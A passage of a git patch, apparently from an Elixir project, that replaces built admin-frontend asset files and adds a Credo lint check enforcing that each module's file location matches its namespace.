/dev/null and b/priv/static/adminfe/chunk-d34d.b0dd6fb4.css differ diff --git a/priv/static/adminfe/chunk-d892.56863b19.css b/priv/static/adminfe/chunk-d892.56863b19.css deleted file mode 100644 index 483d88545..000000000 Binary files a/priv/static/adminfe/chunk-d892.56863b19.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-elementUI.40545a1f.css b/priv/static/adminfe/chunk-elementUI.40545a1f.css deleted file mode 100644 index c802d3a40..000000000 Binary files a/priv/static/adminfe/chunk-elementUI.40545a1f.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-elementUI.f77689d7.css b/priv/static/adminfe/chunk-elementUI.f77689d7.css new file mode 100644 index 000000000..01bdb7fd5 Binary files /dev/null and b/priv/static/adminfe/chunk-elementUI.f77689d7.css differ diff --git a/priv/static/adminfe/chunk-f625.25a6a4ae.css b/priv/static/adminfe/chunk-f625.25a6a4ae.css new file mode 100644 index 000000000..ac26ef0f5 Binary files /dev/null and b/priv/static/adminfe/chunk-f625.25a6a4ae.css differ diff --git a/priv/static/adminfe/chunk-libs.0380664d.css b/priv/static/adminfe/chunk-libs.0380664d.css deleted file mode 100644 index 3a7a99679..000000000 Binary files a/priv/static/adminfe/chunk-libs.0380664d.css and /dev/null differ diff --git a/priv/static/adminfe/chunk-libs.5cf7f50a.css b/priv/static/adminfe/chunk-libs.5cf7f50a.css new file mode 100644 index 000000000..3a7a99679 Binary files /dev/null and b/priv/static/adminfe/chunk-libs.5cf7f50a.css differ diff --git a/priv/static/adminfe/index.html b/priv/static/adminfe/index.html index 0500424b6..d6b9b22b8 100644 --- a/priv/static/adminfe/index.html +++ b/priv/static/adminfe/index.html @@ -1 +1 @@ -Admin FE
\ No newline at end of file +Admin FE
\ No newline at end of file diff --git a/priv/static/adminfe/static/js/app.1df22cde.js b/priv/static/adminfe/static/js/app.1df22cde.js deleted file mode 100644 index 00a5fbcd3..000000000 Binary files a/priv/static/adminfe/static/js/app.1df22cde.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/app.1df22cde.js.map b/priv/static/adminfe/static/js/app.1df22cde.js.map deleted file mode 100644 index 4f6ad8e95..000000000 Binary files a/priv/static/adminfe/static/js/app.1df22cde.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/app.69891fda.js b/priv/static/adminfe/static/js/app.69891fda.js new file mode 100644 index 000000000..3d04d9273 Binary files /dev/null and b/priv/static/adminfe/static/js/app.69891fda.js differ diff --git a/priv/static/adminfe/static/js/app.69891fda.js.map b/priv/static/adminfe/static/js/app.69891fda.js.map new file mode 100644 index 000000000..0131793e9 Binary files /dev/null and b/priv/static/adminfe/static/js/app.69891fda.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js b/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js deleted file mode 100644 index f20f619ad..000000000 Binary files a/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js.map b/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js.map deleted file mode 100644 index 4f2d63f3e..000000000 Binary files a/priv/static/adminfe/static/js/chunk-0171.9e927b8a.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js b/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js new file mode 100644 index 000000000..b4601abae Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js differ diff --git a/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js.map b/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js.map new file mode 100644 index 000000000..193c65bb1 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-03c5.1c694c49.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js deleted file mode 100644 index 497bbcb88..000000000 Binary files a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map b/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map deleted file mode 100644 index 17c3378e3..000000000 Binary files a/priv/static/adminfe/static/js/chunk-16d0.6ce78978.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js b/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js new file mode 100644 index 000000000..8bddbe967 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js differ diff --git a/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js.map b/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js.map new file mode 100644 index 000000000..9617ae0d0 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-16d0.fef0ce65.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-176e.5c19378d.js b/priv/static/adminfe/static/js/chunk-176e.5c19378d.js deleted file mode 100644 index 65269ccf1..000000000 Binary files a/priv/static/adminfe/static/js/chunk-176e.5c19378d.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-176e.5c19378d.js.map b/priv/static/adminfe/static/js/chunk-176e.5c19378d.js.map deleted file mode 100644 index fa116fb3b..000000000 Binary files a/priv/static/adminfe/static/js/chunk-176e.5c19378d.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-176e.be050aba.js b/priv/static/adminfe/static/js/chunk-176e.be050aba.js new file mode 100644 index 000000000..cab83489b Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-176e.be050aba.js differ diff --git a/priv/static/adminfe/static/js/chunk-176e.be050aba.js.map b/priv/static/adminfe/static/js/chunk-176e.be050aba.js.map new file mode 100644 index 000000000..bff959cd6 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-176e.be050aba.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js b/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js deleted file mode 100644 index 90399920a..000000000 Binary files a/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js.map b/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js.map deleted file mode 100644 index 5e3e417cd..000000000 Binary files a/priv/static/adminfe/static/js/chunk-2d97.079e9e64.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js b/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js new file mode 100644 index 000000000..421bf2a99 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js differ diff --git a/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js.map b/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js.map new file mode 100644 index 000000000..d2ad4d9aa Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-3365.b73c30a8.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-342d.479e01dd.js b/priv/static/adminfe/static/js/chunk-342d.479e01dd.js new file mode 100644 index 000000000..5ee311c4a Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-342d.479e01dd.js differ diff --git a/priv/static/adminfe/static/js/chunk-342d.479e01dd.js.map b/priv/static/adminfe/static/js/chunk-342d.479e01dd.js.map new file mode 100644 index 000000000..b73bbb0aa Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-342d.479e01dd.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js b/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js deleted file mode 100644 index ee0e267db..000000000 Binary files a/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js.map b/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js.map deleted file mode 100644 index 61c30c39b..000000000 Binary files a/priv/static/adminfe/static/js/chunk-40a4.5dc0e299.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js b/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js deleted file mode 100644 index 2357e225d..000000000 Binary files a/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js.map b/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js.map deleted file mode 100644 index c29b4b170..000000000 Binary files a/priv/static/adminfe/static/js/chunk-5118.7c48ad58.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-521f.748b331d.js b/priv/static/adminfe/static/js/chunk-521f.748b331d.js new file mode 100644 index 000000000..570dab224 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-521f.748b331d.js differ diff --git a/priv/static/adminfe/static/js/chunk-521f.748b331d.js.map b/priv/static/adminfe/static/js/chunk-521f.748b331d.js.map new file mode 100644 index 000000000..3380bbbd5 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-521f.748b331d.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-546f.81668ba7.js b/priv/static/adminfe/static/js/chunk-546f.81668ba7.js new file mode 100644 index 000000000..252991021 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-546f.81668ba7.js differ diff --git a/priv/static/adminfe/static/js/chunk-546f.81668ba7.js.map b/priv/static/adminfe/static/js/chunk-546f.81668ba7.js.map new file mode 100644 index 000000000..6a9d2a8dc Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-546f.81668ba7.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-565e.e1555105.js b/priv/static/adminfe/static/js/chunk-565e.e1555105.js deleted file mode 100644 index 638c78b38..000000000 Binary files a/priv/static/adminfe/static/js/chunk-565e.e1555105.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-565e.e1555105.js.map b/priv/static/adminfe/static/js/chunk-565e.e1555105.js.map deleted file mode 100644 index 1cfc4cdfa..000000000 Binary files a/priv/static/adminfe/static/js/chunk-565e.e1555105.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js b/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js deleted file mode 100644 index a23d46b72..000000000 Binary files a/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js.map b/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js.map deleted file mode 100644 index 690979713..000000000 Binary files a/priv/static/adminfe/static/js/chunk-60a9.22fe45f3.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-654d.653b067f.js b/priv/static/adminfe/static/js/chunk-654d.653b067f.js new file mode 100644 index 000000000..209873ec1 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-654d.653b067f.js differ diff --git a/priv/static/adminfe/static/js/chunk-654d.653b067f.js.map b/priv/static/adminfe/static/js/chunk-654d.653b067f.js.map new file mode 100644 index 000000000..72aca0e98 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-654d.653b067f.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js b/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js deleted file mode 100644 index eecdac498..000000000 Binary files a/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js.map b/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js.map deleted file mode 100644 index 4fc105fb7..000000000 Binary files a/priv/static/adminfe/static/js/chunk-654e.38dd4b85.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js b/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js deleted file mode 100644 index dc31a8bb0..000000000 Binary files a/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js.map b/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js.map deleted file mode 100644 index 6c87803a8..000000000 Binary files a/priv/static/adminfe/static/js/chunk-68ea.0dae7e55.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js b/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js new file mode 100644 index 000000000..1f43a39db Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js differ diff --git a/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js.map b/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js.map new file mode 100644 index 000000000..45000a1b0 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-68ea.6d56674a.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js b/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js new file mode 100644 index 000000000..02091ed84 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js differ diff --git a/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js.map b/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js.map new file mode 100644 index 000000000..019cede66 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-68ea9.9821cd6a.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-6e81.6043af74.js b/priv/static/adminfe/static/js/chunk-6e81.6043af74.js deleted file mode 100644 index 82b08ad24..000000000 Binary files a/priv/static/adminfe/static/js/chunk-6e81.6043af74.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-6e81.6043af74.js.map b/priv/static/adminfe/static/js/chunk-6e81.6043af74.js.map deleted file mode 100644 index 2c1c86e2c..000000000 Binary files a/priv/static/adminfe/static/js/chunk-6e81.6043af74.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js b/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js new file mode 100644 index 000000000..cd79db1d3 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js differ diff --git a/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js.map b/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js.map new file mode 100644 index 000000000..10b437760 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-6e81.ebe9039f.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js b/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js deleted file mode 100644 index 020158f81..000000000 Binary files a/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js.map b/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js.map deleted file mode 100644 index 1e742c3f9..000000000 Binary files a/priv/static/adminfe/static/js/chunk-6e8c.2aa335e0.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-7503.278e0031.js b/priv/static/adminfe/static/js/chunk-7503.278e0031.js deleted file mode 100644 index 3875f9ad9..000000000 Binary files a/priv/static/adminfe/static/js/chunk-7503.278e0031.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-7503.278e0031.js.map b/priv/static/adminfe/static/js/chunk-7503.278e0031.js.map deleted file mode 100644 index 494d1a763..000000000 Binary files a/priv/static/adminfe/static/js/chunk-7503.278e0031.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js b/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js deleted file mode 100644 index 63be4d84f..000000000 Binary files a/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js.map b/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js.map deleted file mode 100644 index 85d8dcb1c..000000000 Binary files a/priv/static/adminfe/static/js/chunk-7c6b.1ebeb0e4.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js b/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js new file mode 100644 index 000000000..df9b7d6ac Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js differ diff --git a/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js.map b/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js.map new file mode 100644 index 000000000..6584ba082 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-7c6b.56a14571.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js b/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js new file mode 100644 index 000000000..a2c2df2e7 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js differ diff --git a/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js.map b/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js.map new file mode 100644 index 000000000..7f7718547 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-850d.3e6102c2.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js b/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js deleted file mode 100644 index a9cef7b6b..000000000 Binary files a/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js.map b/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js.map deleted file mode 100644 index 1d489f4c2..000000000 Binary files a/priv/static/adminfe/static/js/chunk-97e2.c51fe6b0.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js b/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js deleted file mode 100644 index 575a01d30..000000000 Binary files a/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js.map b/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js.map deleted file mode 100644 index aede70d0a..000000000 Binary files a/priv/static/adminfe/static/js/chunk-9a72.41e843cd.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js b/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js new file mode 100644 index 000000000..89d35af79 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js differ diff --git a/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js.map b/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js.map new file mode 100644 index 000000000..fa8694b8e Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-9d55.7af22f45.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-commons.51fe2926.js b/priv/static/adminfe/static/js/chunk-commons.51fe2926.js deleted file mode 100644 index 3fe10f0d3..000000000 Binary files a/priv/static/adminfe/static/js/chunk-commons.51fe2926.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-commons.51fe2926.js.map b/priv/static/adminfe/static/js/chunk-commons.51fe2926.js.map deleted file mode 100644 index 7d55c69d6..000000000 Binary files a/priv/static/adminfe/static/js/chunk-commons.51fe2926.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-commons.a6002038.js b/priv/static/adminfe/static/js/chunk-commons.a6002038.js new file mode 100644 index 000000000..2b16da9c7 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-commons.a6002038.js differ diff --git a/priv/static/adminfe/static/js/chunk-commons.a6002038.js.map b/priv/static/adminfe/static/js/chunk-commons.a6002038.js.map new file mode 100644 index 000000000..3c7d78861 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-commons.a6002038.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js b/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js new file mode 100644 index 000000000..edd221e6e Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js differ diff --git a/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js.map b/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js.map new file mode 100644 index 000000000..6bcd4ed8b Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-d34d.0f06fe76.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js b/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js new file mode 100644 index 000000000..4e7ab35bb Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js differ diff --git a/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js.map b/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js.map new file mode 100644 index 000000000..323d9ba2a Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-d55e.f9bab96d.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js deleted file mode 100644 index c6c4b82ee..000000000 Binary files a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map b/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map deleted file mode 100644 index a2380c4cd..000000000 Binary files a/priv/static/adminfe/static/js/chunk-df62.6c5105a6.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js b/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js new file mode 100644 index 000000000..65462dc89 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js.map b/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js.map new file mode 100644 index 000000000..3381fd56a Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-elementUI.21957ec8.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js b/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js deleted file mode 100644 index e8424c9ed..000000000 Binary files a/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js.map b/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js.map deleted file mode 100644 index a3c9be946..000000000 Binary files a/priv/static/adminfe/static/js/chunk-elementUI.8e5c404c.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-f625.29237434.js b/priv/static/adminfe/static/js/chunk-f625.29237434.js new file mode 100644 index 000000000..522755a98 Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-f625.29237434.js differ diff --git a/priv/static/adminfe/static/js/chunk-f625.29237434.js.map b/priv/static/adminfe/static/js/chunk-f625.29237434.js.map new file mode 100644 index 000000000..4f8774c3a Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-f625.29237434.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-libs.32ea9181.js b/priv/static/adminfe/static/js/chunk-libs.32ea9181.js new file mode 100644 index 000000000..29cfb2b1d Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-libs.32ea9181.js differ diff --git a/priv/static/adminfe/static/js/chunk-libs.32ea9181.js.map b/priv/static/adminfe/static/js/chunk-libs.32ea9181.js.map new file mode 100644 index 000000000..c80cf9acc Binary files /dev/null and b/priv/static/adminfe/static/js/chunk-libs.32ea9181.js.map differ diff --git a/priv/static/adminfe/static/js/chunk-libs.f842b12e.js b/priv/static/adminfe/static/js/chunk-libs.f842b12e.js deleted file mode 100644 index 2e8e0aba5..000000000 Binary files a/priv/static/adminfe/static/js/chunk-libs.f842b12e.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/chunk-libs.f842b12e.js.map b/priv/static/adminfe/static/js/chunk-libs.f842b12e.js.map deleted file mode 100644 index de17844c9..000000000 Binary files a/priv/static/adminfe/static/js/chunk-libs.f842b12e.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/oAJy.2d5429b2.js b/priv/static/adminfe/static/js/oAJy.2d5429b2.js new file mode 100644 index 000000000..72ef1a89b Binary files /dev/null and b/priv/static/adminfe/static/js/oAJy.2d5429b2.js differ diff --git a/priv/static/adminfe/static/js/oAJy.2d5429b2.js.map b/priv/static/adminfe/static/js/oAJy.2d5429b2.js.map new file mode 100644 index 000000000..e93954508 Binary files /dev/null and b/priv/static/adminfe/static/js/oAJy.2d5429b2.js.map differ diff --git a/priv/static/adminfe/static/js/oAJy.840fb1c2.js b/priv/static/adminfe/static/js/oAJy.840fb1c2.js deleted file mode 100644 index 9973db60a..000000000 Binary files a/priv/static/adminfe/static/js/oAJy.840fb1c2.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map b/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map deleted file mode 100644 index 48420eecd..000000000 Binary files a/priv/static/adminfe/static/js/oAJy.840fb1c2.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/runtime.04c4fa2f.js b/priv/static/adminfe/static/js/runtime.04c4fa2f.js deleted file mode 100644 index c08585729..000000000 Binary files a/priv/static/adminfe/static/js/runtime.04c4fa2f.js and /dev/null differ diff --git a/priv/static/adminfe/static/js/runtime.04c4fa2f.js.map b/priv/static/adminfe/static/js/runtime.04c4fa2f.js.map deleted file mode 100644 index bf0af11e1..000000000 Binary files a/priv/static/adminfe/static/js/runtime.04c4fa2f.js.map and /dev/null differ diff --git a/priv/static/adminfe/static/js/runtime.8f631d12.js b/priv/static/adminfe/static/js/runtime.8f631d12.js new file mode 100644 index 000000000..6fa7d9ee1 Binary files /dev/null and b/priv/static/adminfe/static/js/runtime.8f631d12.js differ diff --git a/priv/static/adminfe/static/js/runtime.8f631d12.js.map b/priv/static/adminfe/static/js/runtime.8f631d12.js.map new file mode 100644 index 000000000..d5c20400e Binary files /dev/null and b/priv/static/adminfe/static/js/runtime.8f631d12.js.map differ -- cgit v1.2.3 From b573711e9c8200ecdd4a722ce1e02b48d3f74cce Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Sat, 20 Jun 2020 18:37:44 +0300 Subject: file locations consistency --- .credo.exs | 6 +- lib/credo/check/consistency/file_location.ex | 132 +++++++++++++++++++++++++++ 2 files changed, 134 insertions(+), 4 deletions(-) create mode 100644 lib/credo/check/consistency/file_location.ex diff --git a/.credo.exs b/.credo.exs index 46d45d015..83e34a2b4 100644 --- a/.credo.exs +++ b/.credo.exs @@ -25,7 +25,7 @@ # # If you create your own checks, you must specify the source files for # them here, so they can be loaded by Credo before running the analysis. - requires: [], + requires: ["./lib/credo/check/consistency/file_location.ex"], # # Credo automatically checks for updates, like e.g. Hex does. # You can disable this behaviour below: @@ -71,7 +71,6 @@ # set this value to 0 (zero). {Credo.Check.Design.TagTODO, exit_status: 0}, {Credo.Check.Design.TagFIXME, exit_status: 0}, - {Credo.Check.Readability.FunctionNames}, {Credo.Check.Readability.LargeNumbers}, {Credo.Check.Readability.MaxLineLength, priority: :low, max_length: 100}, @@ -91,7 +90,6 @@ {Credo.Check.Readability.VariableNames}, {Credo.Check.Readability.Semicolons}, {Credo.Check.Readability.SpaceAfterCommas}, - {Credo.Check.Refactor.DoubleBooleanNegation}, {Credo.Check.Refactor.CondStatements}, {Credo.Check.Refactor.CyclomaticComplexity}, @@ -102,7 +100,6 @@ {Credo.Check.Refactor.Nesting}, {Credo.Check.Refactor.PipeChainStart}, {Credo.Check.Refactor.UnlessWithElse}, - {Credo.Check.Warning.BoolOperationOnSameValues}, {Credo.Check.Warning.IExPry}, {Credo.Check.Warning.IoInspect}, @@ -131,6 +128,7 @@ # Custom checks can be created using `mix credo.gen.check`. # + {Credo.Check.Consistency.FileLocation} ] } ] diff --git a/lib/credo/check/consistency/file_location.ex b/lib/credo/check/consistency/file_location.ex new file mode 100644 index 000000000..5ef17b894 --- /dev/null +++ b/lib/credo/check/consistency/file_location.ex @@ -0,0 +1,132 @@ +defmodule Credo.Check.Consistency.FileLocation do + @moduledoc false + + # credo:disable-for-this-file Credo.Check.Readability.Specs + + @checkdoc """ + File location should follow the namespace hierarchy of the module it defines. + + Examples: + + - `lib/my_system.ex` should define the `MySystem` module + - `lib/my_system/accounts.ex` should define the `MySystem.Accounts` module + """ + @explanation [warning: @checkdoc] + + # `use Credo.Check` required that module attributes are already defined, so we need to place these attributes + # before use/alias expressions. + # credo:disable-for-next-line VBT.Credo.Check.Consistency.ModuleLayout + use Credo.Check, category: :warning, base_priority: :high + + alias Credo.Code + + def run(source_file, params \\ []) do + case verify(source_file, params) do + :ok -> + [] + + {:error, module, expected_file} -> + error(IssueMeta.for(source_file, params), module, expected_file) + end + end + + defp verify(source_file, params) do + source_file.filename + |> Path.relative_to_cwd() + |> verify(Code.ast(source_file), params) + end + + @doc false + def verify(relative_path, ast, params) do + if verify_path?(relative_path, params), + do: ast |> main_module() |> verify_module(relative_path, params), + else: :ok + end + + defp verify_path?(relative_path, params) do + case Path.split(relative_path) do + ["lib" | _] -> not exclude?(relative_path, params) + ["test", "support" | _] -> false + ["test", "test_helper.exs"] -> false + ["test" | _] -> not exclude?(relative_path, params) + _ -> false + end + end + + defp exclude?(relative_path, params) do + params + |> Keyword.get(:exclude, []) + |> Enum.any?(&String.starts_with?(relative_path, &1)) + end + + defp main_module(ast) do + {_ast, modules} = Macro.prewalk(ast, [], &traverse/2) + Enum.at(modules, -1) + end + + defp traverse({:defmodule, _meta, args}, modules) do + [{:__aliases__, _, name_parts}, _module_body] = args + {args, [Module.concat(name_parts) | modules]} + end + + defp traverse(ast, state), do: {ast, state} + + # empty file - shouldn't really happen, but we'll let it through + defp verify_module(nil, _relative_path, _params), do: :ok + + defp verify_module(main_module, relative_path, params) do + parsed_path = parsed_path(relative_path, params) + + expected_file = 